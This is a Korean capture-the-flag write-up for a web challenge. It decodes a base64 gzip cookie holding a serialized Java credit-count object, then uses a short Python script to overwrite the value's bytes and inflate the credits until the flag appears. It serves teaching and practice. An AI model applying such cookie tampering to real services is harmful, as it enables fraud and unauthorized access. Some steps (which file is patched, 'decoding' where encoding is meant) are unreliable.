counter
쿠키값을 보면 base64로 인코딩 되었다는 것을 알 수 있다.
"H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA=="
일단 디코딩 시켜보자.
[A79?W/(5%OIsKJ8op310z1%攦V0@#cBbR
알 수 없는 값이 출력되었다.
이것만으로는 게싱할 수 없다.
쿠키값을 임의로 바꿔보며 반응을 확인해보자.
1. 값 전체를 삭제하면, 쿠키값이 복구되고
2. 값을 임의로 변경하면, gzip 포맷이 아니라고 나왔다.
이것만으로 충분히 예측이 가능했다.
쿠키값은 서버로 전달된 후 디코딩되어 gzip 형식의 바이너리로 사용된다.
로컬에서 쿠키값을 디코딩한 후 바이너리로 저장하여 파일의 종류를 확인해보자.
root@kali:/work/myspace/TAMUCTF/web/TOOMANYCREDIT1# file check
check: gzip compressed data, was "check", last modified: Mon Mar 23 12:26:48 2020, from Unix, original size modulo 2^32 82
gzip 파일이다.
파일 확장자를 바꾸어 압축을 해제한 뒤 파일을 확인해보자.
root@kali:/work/myspace/TAMUCTF/web/TOOMANYCREDIT1# hexdump -C check2
00000000 ac ed 00 05 73 72 00 2d 63 6f 6d 2e 63 72 65 64 |....sr.-com.cred|
00000010 69 74 73 2e 63 72 65 64 69 74 73 2e 63 72 65 64 |its.credits.cred|
00000020 69 74 73 2e 6d 6f 64 65 6c 2e 43 72 65 64 69 74 |its.model.Credit|
00000030 43 6f 75 6e 74 32 09 db 12 14 09 24 47 02 00 01 |Count2.....$G...|
00000040 4a 00 05 76 61 6c 75 65 78 70 00 00 00 00 00 00 |J..valuexp......|
00000050 00 0a |..|
00000052
credit값이 10인 쿠키값을 복호화한 값이며
root@kali:/work/myspace/TAMUCTF/web/TOOMANYCREDIT1# hexdump -C check2
00000000 ac ed 00 05 73 72 00 2d 63 6f 6d 2e 63 72 65 64 |....sr.-com.cred|
00000010 69 74 73 2e 63 72 65 64 69 74 73 2e 63 72 65 64 |its.credits.cred|
00000020 69 74 73 2e 6d 6f 64 65 6c 2e 43 72 65 64 69 74 |its.model.Credit|
00000030 43 6f 75 6e 74 32 09 db 12 14 09 24 47 02 00 01 |Count2.....$G...|
00000040 4a 00 05 76 61 6c 75 65 78 70 00 00 00 00 00 00 |J..valuexp......|
00000050 00 10 |..|
00000052
위는 credit값이 16일 때 쿠키값을 복호화한 것이다.
마지막에 위치한 헥스값이 바뀌고 있다.
그리고 추측할 수 있었다.
마지막에 위치한 값을 큰 숫자로 바꿔주면 credit 값을 증가시킬 수 있다.
파이썬 스크립트를 이용해 바이너리 뒷부분의 숫자값을 변경시켜주었다.
import os
f = open('check', 'r')
r = ''.join(f.readlines())
pt = r[-6:]
r = r.replace(pt, '\xff\xff\xff\xff\xff\xff')
fw = open('payload', 'wb')
fw.write(r)
fw.close()
그리고 출력된 바이너리를 base64 디코딩 시킨 후 쿠키값에 넣는다.
그리고 페이지를 리로드시키면
플래그값을 확인할 수 있다.